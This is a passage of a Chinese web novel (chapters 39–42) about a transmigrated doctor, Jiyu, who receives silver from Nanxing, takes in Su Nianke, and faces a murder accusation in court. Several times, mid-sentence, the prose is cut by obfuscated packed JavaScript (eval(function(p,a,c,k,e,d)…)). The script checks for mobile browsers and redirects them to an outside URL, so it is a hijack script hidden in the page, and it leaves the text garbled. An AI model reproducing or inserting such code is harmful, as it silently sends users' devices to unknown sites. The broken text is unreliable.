“小姐要属下做什么?”南星垂着头,站得笔直,像一根了无生气的木桩。 “南星。”苏念可唤了一声,放柔了语气,“芷丹没了,我现在身边只有你了。我不相信表哥就这么被火烧了,你现在立刻去那个客栈周围仔细查一查,活要见人,死要见尸。” 南星迟疑了一下,他虽然也不相信裴子珩被火烧死,但若是现在立刻去查,季姑娘还在醉仙楼等他。 苏念可见南星没有和以往一样,只要她下达的命令他就会立刻答应,她不解地抬眼去看,看到了一向面无表情的南星,眼里竟然有着一丝纠结的情绪。 “南星,你变了。” 苏念可笃定的语气一出,南星愣了一下,想要解释什么,最后只张了口,什么都没有说。 他也觉得他确实变了,连他自己都察觉了,一向心思细腻的小姐必然也会发现。 “因为那个女子?”苏念可幽幽地开口,虽是疑问,但却肯定。 南星身子一僵,抬眼看向苏念可,木着脸道:“她只是个普通大夫,没必要把她卷进来。” 苏念可轻笑一声,叹道:“南星,你紧张什么,我又不会把她怎么样,如你所说的,她与我们要谋划的事不相干,我自然不会在意她。” “只是,你最好藏住你那没必要的感情。”苏念可视线落在南星脖颈处,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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再抬头时,眼底多了几分决绝,南星看了苏念可一眼,抱拳道:“小姐,请准属下去和季姑娘见最后一面。” 苏念可点头,南星却迟迟不动身,她疑惑道:“怎么,不是急着要去见她吗?怎么还不走。” 南星犹豫了一会儿,将头垂得更低些,最后眼一闭,再睁开时便开口了:“小姐身上可有三百两银子?” 苏念可一惊,反问他:“你要这么多钱做什么?” “季姑娘救了我一命,于情于理我都应该报答她,只是救命之恩无以为报,便只得在钱财上多帮她一些。” 想到季姑娘如果还不了三百两银子就要逼着嫁给杜聪那个傻子,南星心里就难受,所以这三百两银子他一定得给季姑娘。 “虽然三百两银子不算少,但她毕竟救过你的命。”苏念可从腰间取下一块木牌递给南星,道:“这是苏家的木牌,你拿着这块木牌去找有与木牌上刻着相同图案的钱庄,要多少钱他们都会给你。” 南星接过木牌抱拳道:“多谢小姐,等见了季姑娘最后一面,属下就去寻找裴世子的踪迹。” …… 醉仙楼。 等南星到了雅间,季妤已经吃了个半饱,她看到南星时,忙问:“祁公子,你怎么去了那么久,饭菜都凉了。” 南星挤出一个笑,解释道:“说来巧了,我方才在走廊上碰到了我的家人,与他们说了会儿话,所以久了些。” “你家人到了啊,那你是不是要走了?” 39. 整整七张银票 “我是来和姑娘告别的。”南星说完,朝季妤拱手行了一礼,再抬头时,脸上是温柔的笑意,“这些时日叨扰姑娘了,也感激姑娘的救命之恩。” 说着从怀里取出一叠银票递到季妤面前,季妤一个震惊,直接从位置上站了起来,眼睛一瞬不眨地盯着南星手里的银票,厚厚的一叠,目测至少得有五张吧! “季姑娘,这些是在下为了报答你的救命之恩赠予姑娘的,还望季姑娘莫要推辞不收。” “这……这么多啊。”季妤有些不好意思地摩挲着手掌,感觉手心痒痒的,好想上去摸摸银票的手感,这是她第一次看到那么多张银票吧! 南星微微一笑,道:“家中是做生意的,虽不至于多富贵,但报答姑娘救命之恩的钱还是能拿得出手的。季姑娘快收下吧。” 季妤搓着手,收敛了些见钱眼开的笑意,故作矜持抿了抿唇,然后才开口:“那,那我收了。” 季妤接过银票,不动声色的数了数,大惊,整整七张。 不愧是身份尊贵的三皇子殿下,一出手就是七百两,虽然比原书中他给村女的黄金百两比起来还有些差距,但她也很知足啦! 还了三百两债务,再加上自己这一个月来攒的钱,她就差不多有六百两巨款。 天呐,她在现实世界也就一普普通通的大学生,每个月还要父母给生活费的人,一遭穿书,因为捡了个人,就得到了那么多钱,这样神奇的事她以前只在梦里发生过,没想到今天实现了。 季妤无比感激当初自己做出的这个决定,救下祁钰是她这辈子最正确的事。 下半辈子吃香的喝辣的,再也不用为了钱财的事而犯愁了,她现在可是富婆呢! 季妤乐得脸上笑意压都压不住,嘴都要咧到耳后根去了,她幻想着之后是不是去周游大祁朝各地比较好,游历江湖,见识各地风土人情,多有意思啊,也不枉她穿书一遭。 【宿主,任务要紧,这可是关乎你是否能回现实世界哦!】 系统的机械音犹如一盆冷水,瞬间将季妤火热的心浇了个透心凉。 季妤泄了气,不满地哼了一声【你不说话没人把你当哑巴!】 系统继续提醒道【宿主请尽快完成系统任务,别忘了只有一年时间哦!】 【知道了知道了,不用你时时刻刻提醒。】季妤心情有些烦躁,一年时间,说长挺长,说短又挺短的。 可更多的却是茫然,撮合祁钰和苏念可,这谈何容易? 更何况祁钰都要走了,马上就要回京城了,而她远在青州,难道要她远程撮合? 这怎么可能,这里又不像现实世界有手机,可以远程发消息给祁钰,传授他追女生攻略秘籍,教他如何讨女生欢心,如何投其所好。 这里什么都干不了,除非她跟在两人中的一人身边,暗中观察,暗中搭红线。 男追女隔层山,女追男隔层纱。要想任务能够顺利完成,突破口必定在苏念可身上,毕竟祁钰是喜欢苏念可的,这个毋庸置疑,那么关键的一步是让苏念可喜欢上祁钰。 所以,她得跟在苏念可身边才有机会啊,因为有苏念可的地方,基本上都有祁钰的身影。 季妤如拨云见日,茅塞顿开,心情瞬间大好。 她笑着将银票整齐地放进自己怀里,然后对南星道:“祁公子快坐下吃,饭菜都要凉了。” “不了,家人还在等着我,季姑娘,有缘再会。”说完,又朝季妤拱手行了一礼,抬眼深深地望了她一眼,然后转身走了。 季妤一怔,反应过来后,人已经走出了雅间,季妤想起了什么,忙追着去,追到了楼梯间一把拉住南星,喘了口气喊道:“等等。” 原本黯淡无光的眼睛在听到这一声后忽地亮了起来,南星扭头回望,看到季妤因匆忙跑来而凌乱的发随风飘动,顷刻间落了一整个肩头,看起来有些狼狈,可在他眼里却十分鲜活而灵动。 寻常女子大多是端庄矜持,一举一动优雅从容,绝对不会跑成像季姑娘这样。 她喘着气,拽着他的衣角,似乎要说些什么。 她会不会也有几分不舍得他呢,毕竟他们相处了一个月,他和元宝都处出了一些感情,南星心想。 季妤飞快的从布包里掏出好几瓶药塞到南星的手里,一遍塞一遍解释:“这些药粉是我这些日子研制出来的,基本上治什么的都有,功效我都写在了瓶子上,这些或许对你有用。” 季妤匆忙说完,然后抬头飞快地看了南星一眼,犹豫了一下,“你不打算回去收拾一下东西吗?或许有什么遗漏的。” 南星笑着摇了摇头,“我还能有什么东西,穿的衣服还都是你爹的衣服,家人在等我,季姑娘,多谢你的药,有缘再见。” 季妤垂着眼,小声回道:“好,再见。” 家人,是指苏念可吗? 祁钰果真如此喜欢苏念可,竟把她归为家人的身份。 他应该急着去和苏念可相聚了吧,毕竟一个月未见,甚是想念吧。 一个人回到雅间,季妤心情有些低落,她也不知道自己怎么好端端的心情就不好了,明明刚得七百两银票时还高兴得不得了,心情好到爆。 大概是因为祁钰的离开,季妤想。 心情不好影响了食欲,桌上一大半的菜季妤竟然没胃口吃,索性叫来小二打包回去留着晚上吃。 爽快地结了账,迎上账房先生殷勤的目光,季妤心情好了不少,也是让她当上了有钱人了。 …… “苏姑娘!” 苏念可回头,见是赵柯,脚步一顿,不悦地皱着眉头看向来人。 一切都怪他放那把火,要不然表哥和芷丹也不会不知所踪,不知生死,苏念可恨死赵柯了。 苏念可脸上明晃晃的不待见,赵柯看得一清二楚,但不以为意,在他眼里,美人做什么事他都能无限宽容,苏念可这样的美人,连皱着眉头都那么好看。 赵柯笑着道:“苏姑娘这是往哪儿去?侯府在你后边方向呢。” “赵小侯爷说笑了,侯府又不是我家,我去做什么,即便是去贵府做客,也没有常住的道理。”苏念可冷着脸道。 一听苏念可要走,赵柯有些着急地上前一步,在看到苏念可紧接着后退一步后,一贯自信从容的他面色一僵,但想到自己此举可能让对方觉得唐突,于是又后退了一步,退回原来的位置,笑着问:“苏姑娘说的在理,不知苏姑娘是要住哪家客栈?不如我给苏姑娘推荐推荐?” 也不等苏念可点头答应,就自顾自地推荐起来:“青石客栈、鹤云楼、云隐客栈……这些都是青州很不错的客栈,苏姑娘可以从中挑选一家,住得舒心才是最重要的。” 赵柯笑着将青州几乎所有的客栈都说了一遍,最后还贴心地给苏念可分析着各家客栈的优缺点,像是真心为她着想般,希望她住得舒服。 “不劳烦赵小侯爷。”苏念可语气冷硬,说完便朝前走去,一个眼神都不曾施舍给赵柯。 看着苏念可的背影,赵柯摸了摸鼻子,无奈地摇了摇头,叹息一声:虽是个极为标致的美人,脾气却是有点大,不过美人嘛!脾气大点才好,有趣。 赵柯轻笑一声,直到苏念可窈窕的身影看不见了,他才转身往侯府走去。 “灵儿,你躲在这里鬼鬼祟祟做什么呢?” 一颗心和一双眼正专注于赵柯的钟灵儿被这道突然的声音给吓了一跳,扭头一看,拍着胸口不满道:“哥,你怎么突然在人家身后出声,会吓死人的。” 钟易文无奈道:“我喊了你好几遍,你都没听到吗?” “啊?我没听到啊。”钟灵儿疑惑地看着钟易文,怀疑着他说的真实性。 对于自家妹子的性格,他这个做兄长的自然十分了解,一旦她专注于某件事时,旁人说什么都进不了她的耳朵,就因为了解她,所以知道她肯定又在专注于什么事情上,只是这么鬼鬼祟祟地缩在小摊旁,在看什么? 钟易文循着钟灵儿刚才的视线往前面看去,只看到熙熙攘攘的人群,没什么值得她注意的地方。 心中好奇,不由问道:“灵儿,看什么看得这么入神?还非得躲着看。” “哥……”钟灵儿哭丧着一张小脸,伤心地抱怨道:“赵小侯爷似乎有喜欢的女子。” “哦,哪家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“行啦行啦,知道了,哥你快走吧。”钟灵儿催促道,用手去推钟易文,想让他快点走开。 钟易文无奈地摇了摇头,又叮嘱了几句,见钟灵儿乖巧点头,方才满意地提着大包小包往钟府方向走去。 …… 苏念可来到钱庄,拿出木牌准备取些银子,那掌柜的看到木牌上的图案,感觉很是诧异,一个时辰前,也有一个男子拿着这种木牌过来取银子,一取还是七百两那么大的金额。 这会子又来个姑娘,同样的木牌子,也是来取钱,掌柜不由得有些疑惑,怀疑这木牌子是假的,因此拿在手里仔细端详了好一会儿,确认是真的后,却疑惑更甚。 他抬头看了一眼这样貌不俗的女子,小心翼翼地开口询问着:“姑娘要取多少钱?” “一百两,另外再准备一些碎银。”苏念可平静道。 苏家钱庄遍布各州各地,只要她想取钱,随时都可以去取,因此一次性倒也没必要取那么多钱。 更何况她现在身上藏太多钱也不太安全。 “这……”掌柜的有些为难,苏家钱庄有一个特别的规定,凡是来钱庄取钱的,同一个木牌一日以内不能取超过七百两。 但如果是拥有苏家独特花纹木牌的人,则更宽容一些,允许再额外取一些碎银应急。 而眼前这个女子却要取一百两,这…… 看到了掌柜的犹豫的样子,苏念可有些不解问:“怎么,取一百两这很难办吗?” “不是不是,一百两不难,只是苏家钱庄的规定,姑娘是否知道?” 苏念可想了想,点头:“这个我知道,同一块木牌一日之内不能取超过七百两。只是,这和我取一百两有什么关系?我只是取一百两,没说要取七百两。” 掌柜讪笑道:“姑娘的这块木牌,一个时辰之前已经有一个男子拿着来取走了七百两,所以,今日姑娘再取不了一百两。” 苏念可咬着牙沉默了好一会儿,最后在掌柜的讪笑中,平静地开口道:“取些碎银。” 40. 第 40 章 季妤拎着打包的食盒正往家中走去,忽地一道尖叫声响起,吓了她一跳。 季妤东张西望地环顾四周,找到了声音来源,是前面不远处的一个巷子里传来的,还是个女子的声音。 “你们想干什么!你们再靠近一步,我就报官了!” 声音清晰可闻,充满了慌乱和假装镇定的语气,但内心的害怕却掩藏不住,通过颤抖的声音就能听出来。 季妤咬了咬牙,从布包里掏出一把弹弓,今天祁钰做弓箭时,她闲来无事,就做了一把弹弓,弓箭不方便随身携带,但弹弓方便啊,小巧的一个,放进布包正好,用来防身最合适不过。 练了一上午的弓箭,她的眼力一向很好,命中率也有大大提高,这帮调戏良家女子的该溜子她可得好好教训一下。 季妤拿着弹弓走到巷子口,先探出一个头去看情况,如果对方人数多,她就要再另找对策,如果人数在三个以下,她还有些胜算。 诶?那个胖子是…… 杜聪?!!! 季妤瞪大了眼睛,前面那个把帷帽女子逼至角落的胖子不是杜聪还会是谁? 杜聪,你个王八蛋,这还是第一次季妤亲眼看到杜聪这样逼迫女子行为,就在眼皮子底下。 季妤气得拿起弹弓对准杜聪的额头,“咻!”地一声,石头划破空气,快速飞去,就在季妤以为会精准地打在他的脑门上时,突然杜聪身边一个小厮上前挡在了他的前面,于是石头就打在了小厮的后脑勺上。 “哎呦,谁扔的石头!” 季妤吓得缩回墙后面,有些愧疚地捂住了嘴。 打错人了,那个小厮没事吧? 季妤小心翼翼地又探出头去,看到那个小厮捂着后脑勺对着杜聪,然后说着什么。 季妤离他们不远,他们说的话她都能听清楚。 “少爷,你喜欢这个姑娘,不如把她带进府,这样,你就能天天和她玩了。” 杜聪摇了摇头:“我喜欢小妤妹妹,不喜欢她。” “这个姑娘多漂亮啊,不比那野丫头季妤好百倍?” “黄石,我不许你说小妤妹妹。”杜聪板着一张脸,头一次这么严肃地说出这种话。 黄石有些诧异,要不是这番话说完的下一刻杜聪就瘪着嘴委屈地看着他,眼里也透着傻气,他还险些以为眼前这个傻子少爷是个正常人。 黄石笑道:“少爷,我知道你喜欢季妤,但是你知道季妤对你是什么样的想法吗?你想不想知道她喜不喜欢你?” 杜聪点头,黄石继续道:“所以啊,就更应该把这个姑娘带进府,你想啊,女人都是善妒的,季妤见你喜欢别的姑娘了,心里肯定不高兴,她就会想来看看什么样的姑娘比她还美还要好,还被少爷你喜欢,这样一来,她吃醋了,不就证明她也是喜欢少爷你的吗?” 杜聪眼睛一亮,高兴地拍手:“好诶,黄石你真聪明。” 黄石笑着扯了扯嘴角,傻子,我肯定比你这个傻子聪明啊。 “那少爷,这个姑娘还带进府吗?” “要,你快把她带到马车里去,我们现在就回去。” 季妤再次举起手中的弹弓,这次瞄准的是小厮黄石,季妤一扫之前打错人的愧疚感,手一松,一颗石子快速地飞了出去,稳稳当当地再次砸在了黄石的后脑勺上。 让你挑唆,再尝尝石头砸脑袋的滋味吧!季妤冷哼一声,冷眼看着黄石痛呼的滑稽样。 “哎呦!”黄石痛苦地嚎叫了一声,手往后脑勺一摸,摸到了一手的血,瞳孔剧缩,顿觉眼前一片漆黑,眼一闭,竟就这么晕过去了,软绵绵地倒在了地上。 看到了这一幕,季妤惊讶地握着弹弓,左看右看,惊叹自己的力气,竟然力气那么大,把一个成年男子给打晕了! 她好厉害啊! 季妤正洋洋自得,全然忘了自己还是偷偷摸摸的状态,等她反应过来时,杜聪已经看到她并朝她走来了。 “小妤妹妹,真的是你啊!”杜聪惊喜地发现季妤就在他的身后,忙小跑着走向季妤。 季妤无视他,径直走到那带着帷帽的女子身边,看着她缩在角落里,忙柔声询问:“姑娘,你没事吧?” 帷帽姑娘抬起头来,透过薄纱,季妤看到了一张精致的美人脸,顿时呼吸一滞,好美啊,第二次见,还会被惊艳到。 苏念可整理了一下歪了的帷帽,瞥了季妤一眼,认出了这就是南星所说的那个给他治伤的女医。 她眉头微蹙,对于季妤一直盯着她看的举动十分不满,“你还要盯着看到什么时候。” 季妤不好意思地摸了摸头,诚恳道歉:“不好意思,我从来没见过像你这样美的女子,一时之间看入神了,冒犯姑娘,对不起。” 这样一番直白夸赞的话,让苏念可有些愣住,她长得美这件事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15045821|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从她会说话时便知道了,只要是见过她的人,她都能从他们的神情里看出,自己是美丽的。 只是,这样直白又真诚的夸赞她美的人,这个女医倒是第一个。 有点意思,怪不得一向冷心冷情的南星开了窍呢。 苏念可勾起了嘴角,没了方才被杜聪和黄石两人逼至角落时的慌乱和狼狈,心情颇好地看着季妤,道:“这位姑娘,能否到你家中暂住几日?” “诶?”季妤有些惊讶,她正愁该找个什么机会留在苏念可身边,这苏念可就自己提出要住她家,这不就误打误撞地实现了她的第一个小目标了吗? 见季妤一脸惊讶的样子,苏念可也有些不好意思了,她知道自己贸然提出要住别人家是件冒犯别人的事,只是以她现在的情况,住在客栈恐怕不见得有多安全。 若是能住在这女医家中,自己的安危便解决了一大半,也能躲避着些赵柯那个狗皮膏药。 “你放心,我会按照客栈的价格付你钱。”苏念可说罢,从腰间取下荷包,里面装着刚从钱庄取来的二十两银子。 苏念可将荷包递过去,“这里面有二十两银子,住你家四五日可够?” 季妤睁大了眼睛,忙点头道:“够够够,住一个月都够,何况是四五日。”季妤收下荷包,笑道,“姑娘,你住多久都行。” 只要苏念可住进了她家,祁钰要不了多久也会跟着过来,到时候她就有机会让他们两个培养感情了。 虽然不知道苏念可为什么放着好好的客栈不住要住她家,也不知道一向待在苏念可身边的祁钰为何在苏念可遇到了危险事也没出现,但这些都不重要,重要的是,任务目标人物就在眼前了,她得好好利用这个机会,早点完成系统任务早点回到现实世界。 “还不知道姑娘叫什么呢?我叫季妤,叫我小妤就行。”季妤将荷包放进自己的布包里,语气开朗地问苏念可。 “我叫苏念可,你可以叫我苏小姐。”苏念可淡淡道。 豁,这个女二有点子高傲啊! 不过人家确实有高傲的资本,父亲是户部尚书,母亲虽然早逝,但也是正房夫人,而姨妈更是靖王妃。出身高贵,人又长得漂亮,还琴棋书画样样精通,是京城第一美人也是第一才女,这也怪不得三皇子祁钰会喜欢她。 若她是个男的,就算苏念可是恶毒女配,季妤想她也会喜欢苏念可的,毕竟她颜控嘛! 41. 第 41 章 季妤被杜聪的哭闹声给吵得脑瓜子嗡嗡的,这种耍赖般不顾别人死活的放声大哭,就像是火车上哭闹的小孩,让人烦躁不已。 “好了,别哭了!”季妤喊道。 杜聪停顿了一下,看了季妤一眼,见她仍旧一副对他不耐烦的样子,于是又接着伤心的哭了起来。 苏念可朝季妤看了过来,皱着眉头,眼中都是被杜聪哭闹的烦躁之意。见此情况,季妤搓了搓手心,心中暗道不好,惹了谁都不能惹了苏念可不快,否则,下场不会太好。 得让杜聪先停止哭闹才行,季妤想了想,朝杜聪那走了一步,微微仰起头来看着杜聪,声音特意放柔了一些,“好了,你再哭,我就真的讨厌你了!” “我不哭了。”杜聪擦了擦眼泪,红着眼睛,小心翼翼地询问季妤,“小妤妹妹,我不哭的话,你真的不讨厌我了吗?” 季妤点头“嗯”了一声,得到了肯定的回答,杜聪破涕为笑,胖脸上又露出了一贯的傻笑。 季妤抿了抿唇,心里不知道是什么滋味,若不是知道杜聪迫害过不少姑娘,她还真会觉得杜聪这个样子有些傻得,可爱? 到时候苏念可报官了,以她的身份,陈知州不可能不给她面子,而杜聪必定难逃牢狱之灾,这是他应得的,做了恶事,就得承担后果。 可是他现在还不知道待会儿会发生什么,只知道她不讨厌他了,他心里就很开心,一个劲地冲着她傻笑。 季妤微微叹了口气,明明声音微不可闻,但苏念可还是察觉到了,她朝季妤看了一眼,又看了一眼杜聪,最后又把视线落到躺在地上已经昏死过去的黄石身上,顿时眉头微蹙,一股怒火窜上心头,她冷硬开口道:“走吧。” 这是在催季妤去府衙报官。 季妤忙应到:“好。” 见季妤要走,杜聪忙拦住,傻乎乎地问:“小妤妹妹,你要去哪儿,我也要去。” “我们去府衙。” 一听是去府衙,杜聪高兴地拍手道:“姑姑就在府衙诶,我也要去。” “你去了,那躺在地上的那人怎么办?”季妤指了指黄石。 杜聪挠了挠头,绞尽脑汁地想了想,最后想到了一个办法,“黄石不知道怎么回事就躺地上睡着了,我们不用管他,等他醒了他自己就回去了。” 季妤扭头看了一眼旁边的苏念可,“苏小姐,你看怎么办?” “他要跟着一起去不是正好吗?省得还要再派捕快去抓他,至于这地上躺着的……”苏念可想了想,看向季妤道,“你不是大夫吗?有没有什么药可以让人再昏睡一两个时辰的?” “苏小姐,你怎么知道我是大夫的?”季妤惊讶地看着苏念可。 按道理来说,苏念可在此之前是没有见过她的,怎么会知道她是大夫的? 除非那一次…… 估计是楼梯间擦肩而过那一刹那,苏念可和祁钰认出了彼此,所以祁钰才会找借口说去茅房,实则是去见苏念可了,而在两人见面那段时间,祁钰必定是说了她的身份,所以苏念可知道她是大夫也有道理。 季妤自己给自己解释了一通,正要说些什么时,苏念可却抢在她前面开口了。 “你身上都是药味,比任何病人身上的药味都要重,除了是大夫,我想不出来是什么。”苏念可一本正经地解释着,但如果仔细看的话,能看到她心虚的眼神闪了闪。 实则是听南星说过季妤是女医,所以她才知道季妤的大夫身份,而她刚才是一时嘴快,说漏嘴了而已,根本不是她解释的那样。 “哦,原来是这样。”季妤恍然般点头,忽地抬起衣袖凑近鼻子闻了闻,果真闻到了一股浓烈的药味,不算难闻,但确实比一般吃药的人身上带的药味还要重,她这是被中药腌入味了。 “我身上没有药了。”季妤翻了翻布包,今天带的药,她都一股脑全塞给祁钰了,不过,她还有银针,她可以用银针刺进黄石穴位,让他达到沉睡的效果。 季妤翻出银针,道:“我用银针刺入他的昏睡穴,他会昏睡一段时间。” 苏念可点头,季妤当机立断地走到黄石面前蹲下,找准穴位,刺入。 “好了。”季妤将银针收好,对苏念可道,“苏小姐,我们可以走了。” 为了避免意外,走之前,季妤让杜聪把黄石搬到了巷子角落里,还用一个编织的大框将人整个罩住后,三个人才前往府衙。 …… “堂下何人,有何事要报官?”陈远打了个哈欠,半眯着眼睛朝堂下的人看了一眼,在看到杜聪时,他一个激灵坐直了身子,瞪着眼睛问,“聪儿,你上这儿来做什么?还不快下去。” “嘿嘿,姑父,我来找姑姑玩……” 陈远板着脸呵斥:“胡闹,这衙门是玩的地方吗?你姑姑在家呢,你上这儿来找她能找到什么?快点下去!” “陈大人,此人可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈远看向苏念可,笑道:“你看,他连欺负是什么都不知道的一个傻子,怎么可能做出你说的那种事,姑娘好好想想,是不是他身边的小厮欺负的姑娘。” 苏念可冷眼看着陈远,丝毫不畏惧地直视陈远探究的目光,两人对视片刻,终是陈远遭架不住先将眼神闪躲开。 “陈大人,据我所知,你的侄儿欺辱女人一事就有好几次,陈大人竟一无所知吗?” “究竟是真的不知情,还是为了包庇自家人而装作不知情?陈大人真的是为民的好官吗?我可真有些怀疑呢。” 这阴阳怪气的反问直接让陈远绷不住了,他怒拍桌案喝道:“大胆,竟然敢质疑本官,你既说得如此笃定,可有证据,没有证据还敢在公堂之上大放厥词,小心本官治你罪!” 42. 第 42 章 面对陈远的恼羞成怒,苏念可镇定自若,甚至眼皮都懒得抬一下,嘴唇微张,淡淡道:“我有证人。” 陈远微惊,面上却仍然平静,只道:“既如此,传证人。” 一声令下,一个捕快便下去了,直奔衙门口。 “哪位是证人。” “我,我是苏小姐证人。” 季妤忙举手,捕快瞟了她一眼,“随我进去,大人有话问你。” 季妤跟在捕快身后,很快便进入了公堂上,她站在苏念可身边,还没等站稳身子,陈远突然猛地一拍惊堂木,声音很大,吓了季妤一跳。 季妤惊魂未定地抬头去看,听到陈远高声道:“见到本官,怎么还不跪下?” 诶?季妤狐疑地左看看右看看,完了又看向上面高堂上坐着的陈远,见他直勾勾地只盯着自己,所以刚才说的还不跪下,说的是她吧。 为什么苏念可和杜聪已经到了公堂上好一会儿了还没跪下,陈远也没要求他们跪,偏偏她一上来就对她摆官威,无非就是苏念可是尚书府嫡女,杜聪是自家人,只有她是正真的草民一个。 唉,真是到哪儿都是普通人一个,穿书也不给她一个好一点的身份,季妤心里默默地吐槽,她揪了一下衣袖,犹豫着要不要跪下。 俗话说,跪天跪地跪父母,作为来自二十一世纪的人,从小到大,还从来没给谁跪过,哦不,去寺庙的时候跪过佛祖菩萨。 现在要跪一个不是什么好官的人,这膝盖有点跪不下去啊。 季妤扭扭捏捏,犹犹豫豫地态度看得陈远直冒火,这是在挑战他的威严,他拿起惊堂木又是一拍,这次力气比上一次大了不少,所以声音也更大,猝不及防地,季妤又被吓了一跳,膝盖一软,险些就要跪下去了,却被苏念可拽着胳膊往上一提。 季妤迷茫地看向苏念可,苏念可皱着眉头,颇有些嫌弃道:“你是我的人,应当同我一样,何须跪他。” “啊,你,你的人?”季妤脸红了红,有些呆愣地指了指自己,一副没了解状况的茫然样。 苏念可下巴微微向上抬了抬,解释道:“我的证人,不用跪他。” “哦哦哦。”季妤尴尬地笑了几下,小心翼翼地往上面的陈远看去,看到了他一脸怒气地从座椅上站了起来,手朝下一挥,几个捕快便朝着她们过来。 “把他们给本官拿下!” “且慢!” 季妤缩在苏念可身后,看着苏念可举着一块木牌伸了出去,她抬头看了眼那个木牌,上面简单地刻了一个苏字,是苏家钱庄专有的木牌,苏家钱庄,几乎无人不知无人不晓,拥有苏家钱庄木牌的人少之又少,几乎都是苏家自己人。 所以这块木牌一亮相,陈远先是茫然、再是疑惑、然后惊讶、最后惶恐地走下来,脸上带着些许谄媚的笑。 “原来姑娘是苏家人,敢问姑娘是苏家的什么人?”陈远暗自捏了把汗,难怪他见此姑娘有些眼熟,竟是这姑娘眉眼间有些像苏尚书的夫人。 那年在京城,曾遥遥一瞥,尚书夫人美得倾国倾城,以至于十几年过去了,他仍然能记起那惊鸿一瞥的容貌。 想必,这姑娘便是…… “是苏家人不错,至于是苏家的什么人,陈大人就不必知道了,陈大人只要能秉公处理此案件,我可以对陈大人先前之事既往不咎。” 虽然苏念可没说她是谁,但陈远几乎可以肯定,她就是苏尚书的嫡女。 陈大人抬起袖子擦了擦额角冒出的虚汗,微屈着腰,惶恐道:“是,本官,不,我一定会给苏小姐秉公处理的。” 陈远重新坐回了公堂之上,没了先前鼻孔朝天的傲慢感,现在正襟危坐,表情严肃端正,颇有几分清官断案的样子。 陈远轻拍惊堂木,目光落在季妤身上,季妤稳了稳心神,朝前走了两步,掷地有声道:“草民季妤,亲眼见到杜聪和他的小厮黄石,见苏小姐孤身一人,起了歹心,将她逼至巷子角落,欲行不轨之事。” “你所说之事可属实?” 季妤不惧陈远目光,坚定点头:“属实!” “你说是杜聪和小厮黄石一起做的事,既如此,黄石呢?” “被我打晕了。”季妤如实道。 “人在何处?” “藏了在巷子里。” “来人,去把黄石带过来。” 约莫过了半个时辰,前去找黄石的其中两个捕快空手而归,季妤与苏念可对望一眼,皆对此感到疑惑。 “大人,巷子里没有昏迷的人,倒是有一个死人。” “死人?!” 季妤几乎是喊出声的,心里有个可怕的念头,那个死人,该不会…… 陈远惊讶了一瞬,连忙问:“那死人是谁?可是黄石?” “根据死者所穿的衣服,属下可以断定是杜府小厮统一的服饰,所以属下猜测,死者是黄石。” 陈远锐利的眼神如一把刀一样射了过来,季妤有些紧张地躲在苏念可身侧。 “你不是说,你只是打晕了他吗?怎么人现在却死了?!” “我,我确实是只打晕了他,我也不知道怎么就死了。”季妤颤抖着声音从布包翻出弹弓,“我就是用这把弹弓和小石头射中了黄石的头,然后,然后他就晕了。” 季妤手抖得厉害,心里害怕得紧。前不久还好好的一个人,现在就莫名其妙的死了,而且她还是最有嫌疑杀死黄石的人,如果不解释洗脱嫌疑的话,她恐怕系统任务没完成,就要先蹲大牢了。 “你怎么就确定他只是晕了,而不是死了呢?” 犀利的反问砸向了季妤,季妤稳了稳心神,镇定道:“我是个大夫,人是晕的还是死的,我一摸便知,他被我的弹弓打晕了,苏小姐要去报官,怕黄石中途醒来后逃跑,所以我又用针灸刺入他的昏睡穴,让他多睡一两个时辰,这样等捕快去抓他的时候,他就还在巷子里。” 季妤虽然心里紧张慌乱,但这一段话说得条理清晰,让人一听就能明白其中发生的事。 陈远沉思了片刻,突然开口:“你所说的究竟是真还是假,等仵作验过尸之后再作定夺。” 很快,仵作跟着捕快去了,季妤一开始也想跟着去的,但因为她身上嫌疑没有洗清,所以不能随意走动,便只得在公堂上耐心等待。 约莫一个时辰,仵作回来了,身后是两个捕快抬着一个担架,担架上躺着的正是黄石。 季妤看到黄石的脸时,十分地震惊。 眼底乌青,嘴唇黑紫,脸色灰白,皮肤有无数条紫色的纹路,这情况…… 究竟是怎么回事? 季妤压下心底的震惊,将视线落在仵作身上。 听听仵作验出了什么。 仵作是个大概五十岁到六十岁之间的老头,头发灰白,皮肤苍老皱巴巴的,但眼睛炯炯有神,声音浑厚有力。 “大人,我在黄石的身上发现了这个。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 